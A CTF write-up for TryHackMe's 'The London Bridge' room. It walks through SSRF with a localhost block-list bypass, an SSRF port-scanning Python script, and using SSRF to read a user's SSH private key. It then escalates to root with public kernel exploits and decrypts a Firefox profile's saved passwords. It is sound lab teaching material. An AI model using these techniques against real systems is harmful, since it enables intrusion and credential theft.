💻
TryHackMe Writeups
  • Dodge
  • Reset
  • Hack Smarter Security
  • Creative
  • CyberLens
  • Include
  • Airplane
  • mKingdom
  • Publisher
  • The London Bridge
  • Pyrat
  • Cheese CTF
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Foothold
  • Further Enumeration
  • Privilege Escalation

The London Bridge

The London Bridge is falling down.

PreviousPublisherNextPyrat

Last updated 8 months ago

This work by Manav G Krishna is licensed under

Machine IP: 10.10.139.115

Hosts file entry: echo '10.10.139.115 london.thm' | sudo tee -a /etc/hosts

Nmap Scan:

nmap -p- -A -v --min-rate 100 -oN londonbridge_thm -Pn london.thm

Nmap scan report for london.thm (10.10.139.115)
Host is up (0.15s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open  http-proxy gunicorn
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-server-header: gunicorn
|_http-title: Explore London
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 28 Sep 2024 07:39:33 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2682
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Explore London</title>
|     <style>
|     body {
|     font-family: Arial, sans-serif;
|     margin: 0;
|     padding: 0;
|     background-color: #f2f2f2;
|     header {
|     background-color: #333;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     background-color: #444;
|     color: #fff;
|     padding: 10px 20px;
|     text-align: center;
|     color: #fff;
|     text-decoration: none;
|     margin: 0 10p
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 28 Sep 2024 07:39:34 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.94SVN%I=7%D=9/28%Time=66F7B2B6%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,B15,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:
SF:\x20Sat,\x2028\x20Sep\x202024\x2007:39:33\x20GMT\r\nConnection:\x20clos
SF:e\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02682\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n\x20\x2
SF:0\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"v
SF:iewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x
SF:20\x20\x20\x20<title>Explore\x20London</title>\n\x20\x20\x20\x20<style>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20font-family:\x20Arial,\x20sans-serif;\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20background-color:\x20#f2f2f2;\n\x20\x20\x20\x20\
SF:x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20header\x20{\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#333;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px\x2020px;\n\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20center;\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20nav\x20{
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20
SF:#444;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#fff;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20padding:\x2010px\x2020
SF:px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-align:\x20cen
SF:ter;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20nav\x20a\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:
SF:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20text-decorat
SF:ion:\x20none;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\
SF:x200\x2010p")%r(HTTPOptions,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gu
SF:nicorn\r\nDate:\x20Sat,\x2028\x20Sep\x202024\x2007:39:34\x20GMT\r\nConn
SF:ection:\x20close\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAll
SF:ow:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x200\r\n\r\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=9/28%OT=22%CT=1%CU=43300%PV=Y%DS=2%DC=T%G=Y%TM=66F7
OS:B347%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11NW7%O4=M508ST11NW7%O5=M508
OS:ST11NW7%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)
OS:ECN(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Uptime guess: 17.234 days (since Wed Sep 11 07:34:34 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   146.14 ms 10.11.0.1
2   146.68 ms london.thm (10.10.139.115)

The scan results show that we have two ports open, that is port 22 & 8080 .

Enumeration

Checking out port 8080:

From the source code of the page, we can see that the only functioning options containing links are Gallery & Contact:

We can now test for XSS in the Contact Us form:

Now let's set up a netcat listener on port 80. If the above payload works after clicking on Submit we should be getting a connection back on our listener which shows that the server has reached out to our machine. The IP specified in the payload is the tun0 interface IP.

But unfortunately, we don't get any connection on the listener.

We can now check out the Upload option that we have on the Gallery page by uploading an image:

As we can see the image gets uploaded successfully within the /uploads path. The source code of the /gallery page shows the same and we also have this note:

Let us try to put some other file format for example a PHP file to see how the feature reacts:

Based on the response, we cannot upload any file that isn't an image. I will be directly jumping to the point that none of the file upload bypasses had worked here and there was no good information from any of the already present images metadata. This wasn't the correct path to go further into solving the room.

We can now do some directory busting.

Directory Busting:

Command:

dirsearch -u http://london.thm:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

There is a path named /dejaview. We can check this out:

We have a box where we could enter an image URL and then it would show us the image. Trying out the same with our previously uploaded car.jpeg image (http://london.thm:8080/uploads/car.jpeg):

And it gives us the image. But the note in the Gallery page's source code said we could add images using links which is not the case here. So that likely means that the devs might not have implemented this feature yet.

But we have a box wherein we can enter a URL. The first thing that comes to mind is SSRF (Server-Side Request Forgery).

Exploitation

Intercepting the View Image request in Burp:

There is a parameter named image_url. We can test for SSRF here by seeing if the server is reaching out to our attacker machine (The same setup that we had done before while testing for XSS applies here too).

The value is URL encoded. But we don't get any hit on the listener on port 80. This is where the Hint given to us for the room comes in handy.

It tells us to check for other parameters apart from the one that we already know, that being - image_url.

To find parameters we can make use of a tool called Arjun and the same can be done using tools like wfuzz, ffuf etc.

Using wfuzz:

Firstly we have to fetch a wordlist:

Save this to a file called params.txt or just clone the repo.

Command:

wfuzz -c -z file,params.txt --hc 404 --hl 32 -d "FUZZ=value" http://london.thm:8080/view_image

Using Arjun:

Command:

arjun -u http://london.thm:8080/view_image -m POST

We have found another parameter named - www.

Let us now try SSRF by using this newly found parameter in the request:

And the server reached out to us. We now have a successful SSRF.

Let us try connecting to the localhost of the target machine now:

But it gives us a 403 Forbidden error. Upon replacing 127.0.0.1 with localhost too we end up getting the same response. This likely means that there is something on the target machine preventing us from using the traditional methods to connect to the localhost via ways like using: 127.0.0.1, localhost etc.

Let us now try 127.0.1. This is one of the many block list bypass techniques that can be used to connect to localhost.

And it worked. This means port 80 is open. This: http://127.0.1, is the same as doing a http://127.0.1:80.

For the sake of the writeup let us go ahead and ignore the information that we now know about port 80 being open. Assume it wasn't 80 and if we had to find out other internally open ports. The below section explains how this can be achieved through a Python script and also via wfuzz.

SSRF Port Scanning Python script:

import requests
from termcolor import colored

def parse_ports(port_input):

    ports = set()  
    for part in port_input.split():
        if '-' in part:  
            start, end = map(int, part.split('-'))
            ports.update(range(start, end + 1))  
        else:
            ports.add(int(part))  
    return sorted(ports)  

def SSRF_TEST(url, param_name, param_value_template, port_list):
    for port in port_list:
        
        formatted_data = {param_name: param_value_template.replace("[port]", str(port))}  # Replace placeholder with port
        try:
            
            result = requests.post(url, data=formatted_data, timeout=1)
            
            if result.status_code == 200:
                print(colored('[*]', 'green'), "port %s" % port, colored("open", "green"))
            else:
                print(colored('[!]', 'red'), "port %s" % port, colored("closed", "red"))
        except requests.RequestException:
            print(colored('[!]', 'red'), "port %s" % port, colored("could not be reached", "yellow"))

if __name__ == "__main__":
    
    url = input("Enter the URL: ")
    param_name = input("Enter the parameter name: ")
    param_value_template = input("Enter the value for the parameter (use [port] as a placeholder for the port): ")
    
    
    port_input = input("Enter the list of ports or ranges, separated by spaces: ")
    port_list = parse_ports(port_input)

    
    SSRF_TEST(url, param_name, param_value_template, port_list)

The ports can also be specified in this manner: 80 85 8080-8085.

But anyways we now know that ports such as 80, 8080, etc. are open. The 8080 is nothing but the web server itself that we are able to access externally.

Using wfuzz:

We need to first create a wordlist containing a few of the most common ports:

Command:

wfuzz -c -z file,common_ports --hc 403,404 -d "www=http://127.0.1:FUZZ" http://london.thm:8080/view_image

Now that we've confirmed port 80 is open and serving content, we can proceed to explore potential directories that may be accessible within it.

Foothold

Using wfuzz:

Firstly we have to fetch a wordlist that contains directory paths:

A few entries:

Command:

wfuzz -z file,dir_wordlist -d "www=http://127.0.1/FUZZ" --hc 404 --hl 14 http://london.thm:8080/view_image

We get a good amount of valid hits, .ssh being the most interesting. Let us check it out:

The private (id_rsa) and the public key (authorized_keys) is present within the .ssh directory.

We can now read the contents of it:

The public key shows that the private key possibly belongs to a user named beth.

Now we can possibly SSH in as beth, post putting the private key to a file on our attacker machine.

Command:

chmod 400 id_rsa_beth && ssh beth@london.thm -i id_rsa_beth

We indeed get in.

In the home directory, we don't see the user flag.

Finding the flag:

There is also an app.py and here we can see the lines of code that were blocklisting common ways localhost could be accessed via:

So using: localhost, 127.0.0.1 & 0.0.0.0 were blocked.

Further Enumeration

No significant findings were discovered during the manual traversal of various directories and files. So we can now run linpeas.

It can be placed in the /tmp directory as it is universally writeable:

Important information from the output:

Kernel version being 4.15.0-112-generic.

Linux exploit suggester suggested exploits can also be checked out, this can come in handy as we couldn't find anything else on the machine that would potentially help us privilege escalate. So kernel exploits might be the way to root.

At this point, we can start by looking for exploits based on the exact kernel version.

We have two results from Exploit-DB. The first result is for CVE-2018-18955. Linpeas too had suggested the same exploit and also the affected kernel version starting range is a close match to what we are having on our target machine. So this is something worth trying out. The result below is for CVE-2019-13272 and it says affected versions start from 4.10 and our version fits well within the range. This can be tried out too.

The final result shows a GitHub exploit, CVE-2023-6546, which too is an LPE exploit.

Following are the two main reasons this exploit might end up working:

First reason:

This is a close match with our OS:

The same can also be seen in the linpeas output.

Second reason:

It is the same Kernel for us too.

Privilege Escalation

Trying out CVE-2023-6546:

Command:

git clone https://github.com/Nassim-Asrir/ZDI-24-020 && cd ZDI-24-020

Editing the Makefile from this:

To this (adding the -static switch):

Using the -static switch when compiling with gcc creates a statically linked executable. This means that all necessary libraries (like glibc) are included directly within the executable itself, rather than relying on these shared libraries at runtime on the target machine that it would be run on. This is done to avoid any runtime errors that might occur due to the needed glibc version not being found on the target, etc.

If it is possible to compile the exploit code on the target machine, then that would work too.

Compiling the exploit code via make, serving it and running it on the target machine:

We run the exploit using the ubuntu argument and we are root.

I had further checked out CVE-2019-13272 but found that the kernel we have was not tested for this vulnerability. Nevertheless, I attempted to exploit it, but unfortunately, it did not work.

Now finally moving on to CVE-2018-18955:

After cloning the repo:

We can send the entire directory to the target machine like so:

Out of the above-marked exploit scripts only the exploit.dbus.sh worked. Showing the same:

The reason why the dbus script worked is due to the SUID bit set on dbus-daemon-launch-helper. By default, this binary will have the bit set as part of the dbus package.

Command:

find / -perm -u=s -type f 2>/dev/null   //To find binaries that have the SUID bit set

The root flag can be fetched from the /root directory:

Now for this question:

There is no direct way we could laterally move from beth to charles on this machine, so we had to get to root first.

We see a .mozilla directory.

And there is a Firefox profile named 8k3bf3zp.charles. Such profiles will usually have stored encrypted credentials.

We can see that the most important file, that is logins.json is present. The presence of this file indicates that we can go ahead with decrypting the encrypted password.

Both logins.json and key4.db are needed to decrypt the saved passwords in Firefox:

  • logins.json: Contains the encrypted passwords and associated usernames.

  • key4.db: Contains the encryption keys used to encrypt and decrypt the passwords in logins.json.

For decrypting, we can make use of this tool:

Downloading the profile to our attacker machine:

Cloning the repo and running the tool:

And we get the decrypted password for charles.

Room solved!!

CC BY-NC 4.0
The London BridgeTryHackMe
Room Link
GitHub - maverickNerd/wordlists: Wordlists for FuzzingGitHub
wordlists/params.txt at master · maverickNerd/wordlistsGitHub
Wordlist
GitHub - s0md3v/Arjun: HTTP parameter discovery suite.GitHub
Arjun
Pentest-WordLists/directory_wordlist.txt at master · Twibow/Pentest-WordListsGitHub
Wordlist
GitHub - Nassim-Asrir/ZDI-24-020GitHub
CVE-2023-6546
Profile Link
GitHub - bcoles/kernel-exploits: Various kernel exploitsGitHub
GitHub - unode/firefox_decrypt: Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox™, Waterfox™, Thunderbird®, SeaMonkey®) profilesGitHub
TryHackMe | gravereaper2038TryHackMe
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Page cover image